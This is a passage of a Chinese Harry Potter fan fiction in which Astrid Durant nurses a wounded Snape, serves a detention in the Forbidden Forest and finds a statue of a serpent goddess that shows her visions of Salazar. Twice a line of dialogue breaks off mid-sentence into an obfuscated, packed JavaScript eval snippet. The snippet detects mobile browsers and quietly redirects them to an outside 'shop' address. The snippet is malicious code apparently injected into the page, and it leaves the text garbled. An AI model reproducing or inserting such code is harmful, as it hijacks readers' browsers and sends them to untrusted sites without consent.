邓布利多的眉头微微蹙起。 “第六层,”分院帽的声音更低了,“是对存在的否定。她说,如果从来就不曾存在,那‘不存在’本身就不是残忍的。让宇宙就是宇宙,只有物质体存在,万籁俱寂、亘古不变地旋转着——也挺好的。没有生命,就没有痛苦;没有意识,就没有挣扎。” 沉默在蔓延。 菲尼亚斯张着嘴,那双眼睛瞪得老大。他脸上接连流露出困惑,震惊,还有近乎恐惧的表情。 “她……”他喃喃道,声音像从很远的地方飘来,“她是在说……毁灭?” 邓布利多没有给与回应。 “第七层,”分院帽还在继续:“是她对自己的质疑。她问自己,这样的想法是不是太消极悲观?算是虚无主义吗?如果一个神抱有这样的思想,算是对其他生灵的残忍吗?” “然后她否定自己。她说,如果从来就不曾存在,那‘不存在’本身就不是残忍的。残忍是对存在的生灵而言的。” 校长室里安静得可以听见福克斯梳理羽毛的声音。 菲尼亚斯靠在画框边缘,那张精瘦的脸上一片空白。半晌,他喃喃道:“这太危险了……” 邓布利多坐在办公桌后面,蓝眼睛看着虚空中的某一点。 他想起自己将阿斯特丽德安排在格兰芬多的用意。固然有离医疗翼近、方便照料斯内普的考量在。但更多的,是为了保护她免于过多暴露在斯莱特林的预备食死徒眼中,也是为了将她安排在自己的地盘,方便掌握其动态。 但现在看来,那些安排似乎都有些……徒劳? 她活在规则的囚笼里,心却在规则之外翱翔。 她厌恶规则。 邓布利多沉默了很久。然后轻轻叹了口气,把分院帽放回玻璃柜里。 窗外的天空渐渐暗了下来。夜色从禁林的方向漫过来,一点一点地吞没城堡的轮廓。远处传来猫头鹰的叫声,悠长而空灵。 ——当萨姹再次出现时,霍格沃茨——乃至整个英国巫师界,都将出现灾祸。但相应的,她——或者她残余的力量,会保佑霍格沃茨。 无论她是谁,她都已经来了。 22. 有我扶着,不会摔得很惨的 19. 从校长办公室出来,阿斯特丽德就一头扎进了图书馆。 她需要看点东西,随便什么东西。只要能镇压那隐约冒头的、名为嫉妒和酸涩的情绪。 她现在必须得面对得到那个深究的答案之后的境况了。 答案很明确:是那个她。 不是阿斯特丽德.杜兰特。 她在一排排书架间穿梭,目光从那些厚厚的书脊上扫过——魔法史、魔药理论、变形术进阶、古代如尼文——最后她挑了一本很薄的、看起来像是入门级读物的书,《诗翁彼豆故事集》。 她在角落里找了个位置坐下,翻开书。可原先设想的“脑子一扔就是看”完全进行不下去。 那些字母像是活的,在页面上跳来跳去,就是不往她脑子里进。她的思绪会一而再再而三地飘向尚且躺在医疗翼里的那个身影,飘向那只银白色的牝鹿,飘向那两个字——是她。 呵。 还能怎么办呢? 除了继续跟个小尾巴似的围着他转,在莉莉跟他和好以前,尽量多享受可以守着他的时刻,还能怎么办呢? 总归,他要是跟莉莉结婚了,她一定能坐主桌。 这勉强算个安慰。 可是…… 呜。 这太没出息了。 你不是想要得到他、占有他吗?你不是想要他不止是“巫师先生”,而是“我的先生”吗? 那你就勇敢表白啊! 把一切摊开来在他面前,让他好好瞅瞅清楚——他不是只有一个朋友,也不是只有莉莉·伊万斯会对他笑,会维护他。 可…… 她明明一直是这样做的啊。从八岁那年他帮她报复回去开始,她就一直在他身边。分面包,写信,寄东西,做小玩意,陪他练舞,帮他看房子,大半夜跑来照顾他—— 是她。一直是她。 是他看不到她。是他眼里心里都被那个红头发的身影填满了,再也容不下其他。 是谁说爱情讲究先来后到的? 根本不是。 它毫无讲究可言。非常、特别、极其地不讲究,蛮横无比。 现在,暗恋的兵荒马乱和狂欢,是两个人的了。 她和他,各自的,一个人的狂欢。 谁更可怜? 谁知道呢。 仿佛为了验证她那套“不讲究”的理论似的,阿斯特丽德一抬头,正正对上了正北方那张桌子上的几个身影。 莉莉·伊万斯,玛丽·麦克唐纳,詹姆·波特,西里斯·布莱克。 哦。 真是糟糕的画面。 詹姆正努力往莉莉身边凑,手上托着一个精巧的小玩意儿——看起来像某种魔法饰品,银色的链子在光下闪闪发亮。西里斯则自然而然地拨了拨那头乱糟糟的黑发,慵懒地靠在椅背上,嘴角挂着那种“我知道自己很帅”的笑。惹得坐在对面的玛丽频频脸红地偷瞄。 阿斯特丽德合上书站起来,她假装归还书籍,经过了那张桌子。然后她听见了詹姆的声音——小心翼翼的,讨好的,诚恳得不像他: “你看,我已经按你要求的做了,并没有欺负同学,甚至没有欺负那个麻瓜。”他故意揉了揉自己的腰,露出一副被撞得很酸爽的表情,“你得看到我的改变,对不对?” 西里斯配合地把那只还微微发红发肿的眼睛更加清晰地展露出来,那张俊脸上写满了“你看我们多惨”。 “我们已经不是小孩子了,”詹姆继续说,语气里带着一种刻意的成熟,“难道还会一直这么幼稚地打闹下去吗?我父亲最近正在给我函授打理家族生意的诀窍。等一毕业,我就要承担起家业了,自然要做一个合格的、成熟稳重的家族继承人。” 西里斯笑了一声,拍了拍他的肩:“你会做得很好的,兄弟。” 莉莉看着詹姆,眼里有一丝细微的松动,像冰面下的水,正在悄悄地、悄悄地融化。“波特,”她开口,声音没有从前那么冷硬了,“改变不是靠说的,是靠做的。” 詹姆的眼睛亮了起来:“我知道。所以我——” 阿斯特丽德把《诗翁彼豆故事集》放回原位,转身离开了图书馆。 她不想听后面的。 病房里的气氛和前两天不太一样。 阿斯特丽德端来晚餐,像之前那样坐在床边,拿起叉子将食物喂到斯内普嘴边。 斯内普也像之前那样,以均匀的速度张口,咀嚼,吞咽。 机械,重复,毫无波澜。 直到他又咽下一小块苹果派后,才看着她,眼里带着他惯有的嘲讽,语气慢悠悠的:“所以,你今天又有什么新发现要汇报?胖夫人今天穿了什么颜色的袍子?拉文克劳的门环有没有因为那个黎曼问题做噩梦?” 阿斯特丽德正要开口,却被他接下来的话堵住了。 “还是说——”他的嘴角缓缓勾起一个讽刺的弧度,“我应该采纳你的建议,去格兰芬多公共休息室门口蹲着,恭维胖夫人的着装和口红色号,以此获取一个进入的机会?” 他的语气里带着一丝若有若无的自嘲:“毕竟你都能和胖夫人说上话,让她帮着宣传A.S的产品。我也可以试试——夸她的新袍子不错,问她今天气色为什么这么好。然后她心情一好,放我进去。接着我就可以在公共休息室里偶遇某个人,用我准备好的、排练了无数次的道歉,换她一个正眼。” 他垂下眼皮,声音更低了一点:“听起来是个不错的计划,对吧?” 阿斯特丽德愣了一下,然后她反应过来——他是在说她之前建议他再去试试挽回莉莉的事。他用她自己的“成功经验”来讽刺那个建议有多不切实际。 她的嘴角抽了抽。 “我那是有正经事。”她辩解道,“不是去堵人的。” 斯内普抬起眼皮看她,目光里写着:有区别吗? 阿斯特丽德放下叉子,看着这个嘴硬的家伙:“不会打起来了。” 斯内普的眉毛微微动了动——像是表达“哦?” “波特忽然开智了,”阿斯特丽德说,“打算换赛道了。” 她顶着斯内普那副黑沉沉的表情,继续透露情报:“他已经着手继承家业,准备洗心革面,向着成熟稳重、多金有事业心的方向发展了。今天下午在图书馆,我看见他给伊万斯展示什么小玩意儿,态度那叫一个诚恳。” 她盯着他,轻飘飘地撂下一句话:“据我观察——伊万斯有所松动。” 斯内普的表情没有变。或者说,他把它控制住了。那双漆黑的眼睛里很快闪过一丝异样,然后就被一层更深、更沉的黑暗盖住了。 “松动。”他语气平平地念了一遍这个词,听不出任何情绪。 阿斯特丽德看着他,等着他的下文或是别的什么反应。 过了很久,他才开口,声音比刚才更低:“你以为她松动是因为他‘改过自新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334592|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’?” “她松动是因为她看到了一个可能的未来。波特家族的继承人,魁地奇明星,纯血世家,光明前途。而她——” 他抿住嘴唇,几息之后再次开口:“而她是一个麻瓜出身的、想为被欺凌者发声的女孩。她能选择的路,本来就不多。” 那双黑眼睛里映着窗外灰蒙蒙的天光,脸上没什么表情,但那些从他嘴里说出来的话,让她感到讶然。 她一直以为,他只是固执,只是看不清,被感情蒙住了眼睛。 但他看得比谁都清楚,他全都知道。 他知道莉莉的选择里有现实的考量,也知道自己给不了那些。他更知道那条路不是靠“假装改变”就能走通的。 他知道。他一直都知道。 阿斯特丽德忽然觉得嗓子有点干。“你……”她开口,声音有点涩,“你都看得这么明白,为什么……” 为什么还要走那条路? 为什么明明知道那些纯血家族的玩法是谎言,还要投身进去? “你想问我,”他的语气平平的,“既然看透了,为什么还要陪他们玩?” 阿斯特丽德点点头。 斯内普沉默地垂眸望着自己身上的绷带,然后说:“你以为我没试过?” 阿斯特丽德愣愣地看着他。 “你以为我没想过换一条路?”斯内普继续说,语气依然很轻,但每个字都像生满了绝望的锈迹的钉子,“我试过。我试过假装那些咒语不存在,试过不去碰那些书,试过只做‘被允许’的事。” 他的目光重新移向窗外:“然后呢?然后我被卢平困在尖叫棚屋,差点死在那里。我被告知‘保密,不要说出去’。然后我看着他们继续在走廊里耀武扬威,继续欺负任何一个他们看不顺眼的人。” 他转回头,看着阿斯特丽德:“波特有赛道可换,是因为无论他走哪条路,路都是铺好的。纯血家族,古老姓氏,父母健在,家财万贯。他只需要说一句‘我改过自新了’,所有人就会欢呼着欢迎他回来。” 他的声音冷下来,“我有什么?蜘蛛尾巷的破房子?一个死了的酒鬼父亲?一个自杀的母亲?” “——还是那些把我当工具的所谓‘朋友’?” “莉莉,”斯内普说出那个名字时,声音有一瞬间的颤抖,“她看得到。她从很久以前就看到了,她看到我在往哪里走,看到那些人在带我往哪里走。她叫我停下来。” 他闭上眼:“我没停。不是因为我不想停,是因为……我不知道怎么停。” 阿斯特丽德看着他。看着那张脸上慢慢浮起来的——知道自己走的路不对、但已经没有别的路可走的清醒的绝望。 她忽然不知道该说什么了。 他看得太清了,甚至没有幻想。 病房里安静了很久。 阿斯特丽德坐在那儿看着他,然后试探地、缓慢地伸出手,轻轻握住他的指尖。 “那你,”她的声音也很轻,“要不要学一下……怎么在没路的地方走?” 斯内普的目光骤然落在她身上。 “我不是说你必须变成另一个人。”阿斯特丽德的嘴角弯起一个小小的弧度,“你可以慢慢学。慢一点,像跳舞一样,一步一步来。” 她抿了一下嘴唇,微微垂下眼眸,“反正有我扶着,摔不了太惨。” 斯内普确信自己下意识屏住了呼吸,也确信他的手,在她手心里,微微动了一下。 23. 雕像 20. 阿斯特丽德发誓她真的只是出于好心——一种纯粹的、不掺杂任何恶意的、甚至带着几分专业眼光的好心——才会在路过格兰芬多公共休息室的壁炉时停下脚步,对着那两位正靠在扶手椅上休息的格兰芬多明星露出一个真诚的微笑。 “二位有整容塑型的需求吗?”她的语气贴心而友善,礼貌而专业,甚至带着一丝挑剔的审视,“毕竟据我观察,您二位的臀部已经在长久的使用、摩擦和久坐中出现了明显的扁塌下垂现象。我可以向你们推荐绝对专业的整形机构,隐私安全可靠,保证不会有任何一个巫师知道你们的保养内容。” 她还特意递给他们一个“你懂的”的眼神,那眼神里写满了“我是为你们好”的真诚。 可惜,他们不仅没能领会她的好心,还用魔杖抵着她的脑门,一路将她“护送”出了公共休息室。 什么人呐。 不知道屁股不够翘的男人讨不到老婆吗? 嘁。 夜色笼罩的禁林边缘,树影幢幢,那些扭曲的枝干在月光下投下张牙舞爪的暗影,偶尔有不知名的生物在深处发出低沉的鸣叫,整片森林弥漫着一股古老而危险的气息。阿斯特丽德拎着一盏提灯,沿着那条蜿蜒的小路往前走,身后跟着一个银白色的半透明身影。 “只是因为这个,您就被罚到禁林里来劳动了?”血人巴罗飘在她身侧,那双空洞的眼睛里毫不掩饰地透出狐疑——衬得他那张在夜色中本就更加可怖的面孔都鲜活生动了几分。 阿斯特丽德摸了摸鼻子,低头继续沿着那条落叶覆盖的小路走着,小声咕哝:“那倒不是……” 她一本正经地解释自己之所以能体验到这项霍格沃茨特色项目的原因:“我还在晚餐时好心提醒波特,局部石化咒、膨胀咒和清水如泉咒是个不错的组合。你想啊,先把某个部位石化固定,再膨胀到理想尺寸,最后用清水突突突突——多么完美的塑形方案。” 马人费伦泽站在不远处的一棵树旁,确信自己离老远就从那个幽灵的脸上看到了类似红晕的神色。 太可怕了。幽灵被一个麻瓜弄到脸红了。 而那个麻瓜好像还一脸认真地转过头询问巴罗:“你不觉得吗?我觉得你也可以试试那个组合,说不定很有效——你寂寞了这么多年,不想焕发第二春吗?” 巴罗忽然有点后悔接下这个“护送杜兰特小姐去禁林劳作”的任务。他应该让皮皮鬼来干这差事,自己则飘去拉文克劳塔楼安安静静地陪着海莲娜,哪怕只是远远地看着她也好。 到达指定地点后,阿斯特丽德装模作样地蹲下身,开始完成她那堪称荒诞的“劳役”——麦格教授罚她收集三十份地衣样本,理由是“用不恰当的言论干扰其他学生的心理健康”。那些地衣附着在树根和石头上,湿漉漉的,散发着一种泥土与腐朽植物混合的气味。她一边小心翼翼地用镊子将那些灰绿色的苔藓状物剥离下来,装进玻璃罐里,一边抬头看向飘在半空中像个尽职监工的血人巴罗。 “你们幽灵平时都待在霍格沃茨不出去吗?”她将一片地衣塞进罐子里,“我是说,你们有没有什么……休假之类的?” 巴罗沉默了一瞬,那双空洞的眼睛望向禁林深处,声音低沉如从很远的地方传来:“偶尔。我和格雷女士从阿尔巴尼亚的森林里飘回来过。” 阿斯特丽德停下手上的动作,抬起头,眼里闪过好奇:“所以幽灵可以离开霍格沃茨?” “可以。至少我和她可以。其他人……各有各的限制。” 四十分钟后,两人沿着原路返回城堡,提灯的光晕在夜色中晃出一圈昏黄。经过一个岔路口时,阿斯特丽德忽然停住脚步——某种飘渺的、若有若无的声音从禁林深处的某个方向传来,时近时远,听不真切,像是有人在很远的地方呼唤着什么。 “你听见了什么吗?”她侧过头问巴罗。 血人巴罗摇了摇头,那张可怖的脸上没什么表情,只是打量了一下四周黑沉沉的树影:“禁林里本来就有不少古怪的声音,不用在意。” 阿斯特丽德没再说什么,继续往前走。但那飘渺的声音却一直萦绕在她脑海深处,挥之不去,像是某种被遗忘了很久的东西正在努力唤醒她沉睡的记忆。 第二天一早,拆掉半边身子绷带的斯内普靠坐在床头,那张已经开始愈合的脸上,黑沉沉的眼睛一眨不眨地盯着阿斯特丽德,仿佛在用目光审讯一个拒不招供的罪犯。 他现在已经能自己用餐了——虽然动作还有些僵硬不便,但至少不需要她像喂鸟一样一勺一勺地往他嘴里塞。阿斯特丽德帮他把南瓜汁的吸管插好,推到他的手边,终于在他持续了整整五分钟的阴沉注视中败下阵来。 “我就是给波特和布莱克提了些小建议。”她理直气壮地说,但那双眼睛不太敢直视他,“而且去禁林里转转也挺新鲜的,来都来了,把城堡周围都游览一遍不是很划算吗?” 她企图转移话题:“你有没有被罚去禁林过?” 斯内普的嘴角抽了抽——一副“你在说什么蠢话”的标准表情。 “我被罚去过禁林。”他语气干巴巴的,带着他惯有的那种能让人自动降温几度的讽刺,“因为我在二年级的时候,为了躲避波特和他的那帮狐朋狗友,被迫钻进禁林,差点被一只愤怒的鹰头马身有翼兽踩成肉泥。” 他眼里的嘲讽几乎要溢出来,“我建议你珍惜自己只是被罚收集地衣的运气。禁林里有些生物——比如马人,比如那些我也不知道是什么但反正不会对你‘好心’的生物——对你的那些‘小建议’不会有半点兴趣。它们只会对你这个人有兴趣,作为食物。” “哦,担心我就直说嘛。” 斯内普的表情僵了片刻:“我是在陈述事实。”他的语气更干巴了,“如果你非要把这理解成担心,那是你的问题。” 阿斯特丽德凑近了些,近到他能看清她睫毛投下的淡淡阴影,她身上那股混合着草药和清晨露水的气息也清晰地钻进他鼻腔。而那双烟紫色的眼睛正直直地盯着他的黑色瞳孔,眼底酝酿着跃跃欲试。 “那你对我呢?”她的声音压得很轻,“有兴趣吗?” 斯内普那张刚刚拆掉绷带、新生的皮肤还透着些许粉色的脸,在那一瞬间呈现出一种极其复杂的微表情集合——先是瞳孔微微扩张,然后眉心几不可察地跳动,接着嘴角以一种别扭的弧度抽搐了一下,最后所有肌肉都凝固成一种“你在说什么鬼话”的防御性僵硬。 他盯着她。 她也盯着他。 病房里的空气忽然变得粘稠起来。 “……兴趣。”他终于吐出这个词,语气干得像放了三个月的面包,但那个词本身却被他咬得格外清晰。 “我对你当然有兴趣。”他的眼睛眯了眯,嘴角缓缓勾起一个带着某种幽暗意味的弧度。 “比如,我对你那个小脑袋瓜里到底装了多少种能把我气死的念头很有兴趣。对——你究竟知不知道什么叫‘安全距离’这件事,也非常、特别、极其有兴趣。” 他的身子微微前倾了一点:“这个回答,满意吗,杜兰特?” 阿斯特丽德维持着那个凑近的姿势,鼻尖几乎要蹭到他刚刚拆掉绷带的颧骨上,然后拖长了调子抱怨起来:“哦,别这么见外嘛,西弗勒斯。”她的眼睛里盛满了促狭的笑意,“叫我阿斯特丽德就行,如果嫌太麻烦,叫阿斯塔也行——我不挑的,真的。” 斯内普的眼皮跳了一下,他近距离地盯着她,像在研究一只胆敢凑到猫鼻子底下的老鼠——但那只老鼠不但不跑,还笑眯眯地问他为什么不吃。 “阿斯塔。”他那语气平板得像是从一本没人看的旧书里读出了一个陌生词汇,每个音节都被他咬得格外清晰,又格外冷淡,“听起来像某种廉价魔药品牌的名字。” “那你以后就这么叫我呗,”她毫不退缩,“反正只要你叫,我就答应。” 斯内普的嘴角抽了抽,目光从她脸上移开,落向外面刚开始放晴的天空,仿佛那里有什么比眼前这个厚脸皮的麻瓜更值得关注的东西。但他的耳根——那个刚刚摆脱绷带没两天、新生皮肤还透着粉色的地方——微微染上了一层薄红。 “我建议你保持安全距离。毕竟我现在行动不便,无法在你做出什么蠢事的时候及时把自己挪开。” “嗯?哪样的蠢事?”她的吐息喷洒在他脸颊,温热潮湿,“你是在邀请我吗?西弗勒斯。”坏心眼的麻瓜依旧厚脸皮,却换不来更多的回应。只能看到巫师先生的耳根又红了几分。 阿斯特丽德这才满意地撤回自己的椅子,靠进椅背里,目光却一直黏在他身上,像是在欣赏一件终于开始松动的艺术品。 斯内普没再理她,自顾自从床头柜上拿起那支深蓝色的羽毛笔,铺开羊皮纸,开始补他那堆积如山的论文作业。那支笔一沾到他的手指,立刻像一条尾巴摇出圈的狗狗般晃了起来——笔杆轻轻颤动,羽毛尖高高翘起,整个笔身都洋溢着一种近乎谄媚的欢快,看得出这段日子被冷落在床头柜上,着实把它憋坏了。 阿斯特丽德就坐在一旁,不时帮他从那堆厚重的书籍里翻找需要的资料。她的效率很高,这得益于他惊人的记忆力——他总能准确记得某条理论在哪本书的哪个章节甚至哪一页,以至于她只需要顺着他的指引伸手去翻就行,省下了不少时间。 等他终于写完一篇魔咒课的论文,阿斯特丽德才起身给两人各倒了杯水,捧着那只温热的杯子坐回原位,目光落在他脸上犹豫了片刻,语气尽量放得随意:“你听说过禁林里有什么奇怪的声音吗? 斯内普抬起头,眼里闪过警觉:“什么声音?” 阿斯特丽德把昨晚的经历描述了一遍——那飘渺的、若有若无的召唤,时近时远,听不真切,却又顽固地萦绕在她脑海深处挥之不去。 斯内普的眉头慢慢皱了起来,那张刚刚恢复了些许血色的脸上浮现出一种阿斯特丽德从未见过的严肃表情。 “不管那是什么,”他声音压得很低,含着明确的警告意味,“离它远点。禁林里有些东西不是用来好奇的——有些声音会把你引向你想都不敢想的地方,然后你就再也回不来了。” 阿斯特丽德看着他,正想说什么,又听他继续问:“那声音是什么样的?” “很飘渺,”她描述着,努力捕捉那些转瞬即逝的印象,“像是在很远的地方有什么人在吟唱——那种调子很奇怪,不是英语,也不是我能听懂的什么语言,但就是像一直在召唤我过去。” 斯内普的表情变得更凝重了,语气近乎严厉:“如果你再听到那个声音,立刻回城堡,找教授,找任何人——哪怕是波特那个蠢货,也比你自己往禁林里跑强。我不是在吓唬你,禁林深处有些东西连那些自诩强大的巫师都不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334593|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招惹。” 他停顿了下,像是想起了什么不太愉快的往事。“而且,”他补充道,语气里那股熟悉的讽刺又回来了,“我实在无法理解,究竟是什么样的大脑构造,能让一个人——一个麻瓜——被罚去禁林劳动之后,不但不吸取教训,还主动对那里的声音产生‘兴趣’。我以为蜘蛛尾巷教会了你起码的生存本能,现在看来,我可能高估了那条街的教育水平。” 阿斯特丽德撇撇嘴,刚想反驳,又听他低声抱怨了一句:“让一个麻瓜去禁林——我真该写信问问麦格教授,她的脑子是不是也被巨怪踩过。” 某天下午,阿斯特丽德正在禁林外围围观三年级的神奇生物保护课——那些鹰头马身有翼兽在阳光下优雅地踱步,脖颈上的羽毛泛着珍珠般的光泽,惹得一群小巫师又兴奋又害怕地往后缩——正当她看得入神时,那熟悉的召唤声再次响起,这一次比之前更加清晰,更加急切,像有什么东西在拼命呼唤她。 于是她磨蹭着等到学生和教授都返回城堡用晚餐,整片禁林外围彻底安静下来之后,独自一人凭借着记忆,沿着那天晚上血人巴罗带她走过的路线,小心翼翼地往林子深处走去。 越往里走,那声音就越明显,带着一种近乎蛊惑的指引性,她几乎不需要辨别方向——只要循着那声音走就行了,仿佛有一条无形的丝线在牵引着她。 不知走了多久,当她终于拨开最后一丛低垂的树枝时,一片空地在眼前豁然开朗。 这里已经是禁林深处,周围环绕着参天的古树,那些树干的粗壮程度需要七八个人才能合抱。空地中央光秃秃的,寸草不生,与周围茂密的植被形成鲜明对比,月光从树冠的缝隙间倾泻而下,在那片空地上投下斑驳的光影。 阿斯特丽德站在空地边缘,心里有一个声音在告诫自己不要过去,不要好奇,应该立即转身回城堡。可那召唤声愈发急促起来,几乎是在她脑海里、在她耳边不停地催促,那声音像无数根细丝缠绕着她的意志,一点一点把她往里拽。 她如同被蛊惑般迈开脚步,缓缓走向那片空地中央。随着她每一步的靠近,那声音渐渐变化着形态,从最初的飘渺召唤转为一种绵长低回的吟唱——那调子古老而陌生,却又莫名地熟悉,像很久很久以前在哪里听过,轻柔飘渺中透着一丝说不清道不明的诡异。 阿斯特丽德蹙着眉站在空地中央附近,努力辨认着那吟唱的内容,却一个字都听不懂。 还没等她从那古怪的感觉中回过神来,脚下的地面忽然震颤起来。 起初很轻,像是远处有巨兽在走动,但几秒之后就变得剧烈起来——土层开始龟裂,从最中央的位置向四周扩散出一道道细密的纹路,那些纹路像是有什么规律,在月光下泛着幽暗的银光。 接着,有什么东西破土而出了。 那是一座雕像,缓缓地、庄严地、仿佛从亘古的沉睡中苏醒一般从裂开的地面上升起。它通体透明,材质既像冰又像水晶,在月光下折射出千丝万缕的幽蓝光芒——那些光芒随着它的升高而变化着颜色,从幽蓝渐变成银白,又从银白过渡到淡紫,最后归于透明,像是夜的本身被凝固成了这座雕像。 雕像有将近30米高,雕工精细得令人惊叹——那是一个人身蛇尾的形象,上半身是一个女子的轮廓,下半身则是粗壮蜿蜒的蛇尾。那女子的长发仿佛正被风吹起,每一缕发丝都刻得细致入微,飘动的姿态定格在时间之外;她微微垂眸,眼睛是竖瞳的形状,眉眼间透着一种超越凡俗的疏离与威严;她手中握着一根权杖,杖身雕刻着繁复的纹路,顶端镶嵌着什么——但因为是透明的,看不真切。 最惊人的是那条蛇尾。尾身上的鳞片栩栩如生,每一片鳞片上都覆盖着羽毛般的细致纹路,在月光下泛着若有若无的银光,仿佛下一秒就要活过来,缓缓摆动起来。 阿斯特丽德几乎立刻想到了那本书里描述的萨姹——白金色长发、烟紫色竖瞳、人身蛇尾的战斗女神。那本书里提过,她的陨落地在霍格沃茨旧址。 看来就是这儿了。 她绕着雕像缓缓转了一圈,目光从蛇尾移到长发,从长发移到那张垂眸的面孔。然后她缓缓停住脚步。 除了眼睛不是竖瞳,她和这座雕像的面容几乎一模一样。 同样的眉眼弧度,同样的鼻梁线条,同样的唇形——就像照镜子一样。 阿斯特丽德愣在原地,仰头看着那张和自己如出一辙的脸,脑海里翻涌起无数个念头。她看过不少麻瓜小说,什么转世重生、轮回穿越之类的情节早就被写烂了,可真要和一个巫师传说中的神长得如此相像,那就实在太令人难以置信了——这已经不是巧合能解释的范畴。 她忍不住伸出手。 指尖先是轻轻触碰那些鳞片上的羽毛纹路,冰凉的触感顺着指尖传来,带着一种莫名的熟悉感。然后她的手缓缓上移,探向那根权杖——因为雕像是透明的,她认不出是什么材质。 她的手指刚触碰到权杖表面,一阵巨大的吸力骤然袭来,她整个人被拽入了一个介于存在与虚无之间的奇异空间,那里没有上下,没有左右,没有时间,也没有空间,只有一片无边无际的、泛着幽光的虚空。 她像一个旁观者漂浮在那里,看着眼前渐渐浮现出的画面。 那种感觉很奇妙,像是你知道自己正在做梦,以上帝视角旁观着梦境里的一切,却怎么也醒不过来。 24. 过往 21. 那些画面太过真实,真实到阿斯特丽德几乎能嗅到沼泽与洼地升腾的水汽,混合着腐烂植物、湿润泥土与某种远古气息的独特味道,随着每一次呼吸深深浸入她的感官。 十一世纪的某片密林深处,雾气浓稠得如同被谁用魔法凝固在半空,从那些粗壮的橡树与梣树间缓缓流淌而过,将整片林地笼罩在一片朦胧的灰绿色调中。洼地里的水洼反射着从树冠缝隙间漏下的稀薄天光,那些水面平静得像一面面模糊的镜子,偶尔有不知名的昆虫掠过,激起几圈转瞬即逝的涟漪。沼泽地特有的植被——苔藓、地衣、低矮的蕨类——在湿漉漉的空气中舒展着,散发出古老森林独有的、混合着生机与腐朽的气息。 隔着几棵扭曲的古树,在雾气那端,萨姹拖着她那条覆盖着羽毛纹路的蛇尾缓缓划过一片浅水洼,尾尖在水面上拖出一道淡淡的痕迹,那痕迹很快就被雾气吞没。她停在那里,与对面那个同样是竖瞳的身影隔雾相望。 那是一个男人,身形高挑而清瘦,穿着一件质地精良的深色长袍,领口和袖口绣着繁复的银线纹路。他有一头深褐色的长发,随意地披散在肩头,衬得那张轮廓分明的面孔愈发苍白;他的眼睛是罕见的竖瞳,与萨姹如出一辙,却比她的更加幽深内敛。他没有蛇尾,站姿笔挺如松,一只手随意地搭在腰间的魔杖上,姿态既像一个漫步林间的贵族,又像一个随时准备应对任何突发的战士。 他们就这样隔着雾气对视,谁都没有先开口。 画面一转,萨姹坐在某个山坳间,尾巴有一搭没一搭地拍打着周围的野花与杂草,那些紫色与黄色的花朵在她尾巴的轻轻拍打下颤动着,却奇迹般没有折断。她的尾尖正逗弄着几只飞舞的蝴蝶——那几只蝴蝶显然不知道自己面对的是什么存在,兀自在她尾尖周围盘旋,偶尔落在那覆盖着羽毛纹路的鳞片上,又很快被轻轻弹开。 她抬眼看向不远处,萨拉查正带着几个衣衫褴褛的小巫师从林间走来,那些孩子有大有小,最小的不过七八岁,最大的也才十几岁,脸上都带着劫后余生的惊惶。他们的衣服上还残留着火焰灼烧的痕迹,有几个甚至带着未愈的伤口——显然刚从某场灾难中被救出。 “你要收留他们?”萨姹平淡地问。 萨拉查停下脚步,那双竖瞳扫过身后的孩子们,又落回萨姹脸上:“他们刚刚从教皇的审判中逃生,只因体内流着巫师的血液。如果我不收留,这世上没有多少人愿意收留他们。” 萨姹的尾巴尖停止了摆动,那几只蝴蝶趁机飞远了。 “你倒是心地善良。”她说,语气里听不出是褒是贬。 萨拉查微微摇头,那双幽深的眼睛望向远处若隐若现的山峦轮廓。 画面再次流转,这一次是在一片山林间,秋日的阳光透过那些已经泛黄的树叶洒落下来,在地面上投下斑驳的光影。萨姹靠在一块长满青苔的巨石上,尾巴懒洋洋地搭在落满枯叶的地面上,有几片红叶落在她的鳞片上,衬得那些羽毛纹路愈发清晰。 她歪着头看向站在不远处的萨拉查,忽然问道:“你信奉神明?” 萨拉查正望着远处若隐若现的城堡雏形——那些塔楼的轮廓已经开始在这片土地上勾勒,但距离完工还遥遥无期。听到这个问题,他转过头,眼神有些复杂,像是在认真思索这个看似简单的问题背后藏着多少重含义。 “我相信力量。”他最终开口,声音被秋风吹得有些散,“我相信这世间存在着超越凡俗理解的东西。至于是不是神——”他的目光重新落向那座在建的城堡,“如果神真的存在,为什么还需要我来保护这些孩子?” 萨姹闻言,唇边露出淡淡的笑意,这让她那张冷艳的面孔柔和了几分。她从巨石上滑下来,尾巴在地面上轻轻扫过,卷起几片落叶。 “有个很有意思的本事,”她那双烟紫色的竖瞳里闪烁着某种促狭的光,“要学学看吗?蛇佬腔。” “愿闻其详”。 萨姹没有给他任何言语上的解释,只是缓缓抬起手,修长的手指轻轻点上他的眉心——她的指尖微凉,带着一股奇异的力量波动。然后她低声吟诵起来,声音古老而幽深,像从时间之初传来的回响,每一个音节都在空气中震荡出肉眼可见的涟漪。那些涟漪一圈圈扩散开来,又慢慢收拢,最终全部汇聚于她指尖触碰到的那一点。 萨拉查闭上了眼睛。他能感觉到有什么东西正在被刻进他的血脉深处,像是唤醒某种一直存在却被遗忘的本能。那感觉很奇怪,既像是学习,又像是回忆,既像是获得,又像是认领。 当她收回手指时,他睁开眼,那双竖瞳里多了一种与蛇类更深层的连接,一种能真正听懂它们语言的能力。 “这本领会延续下去。”萨姹的语气随意:“你的血脉,你的后裔,都能承袭。” 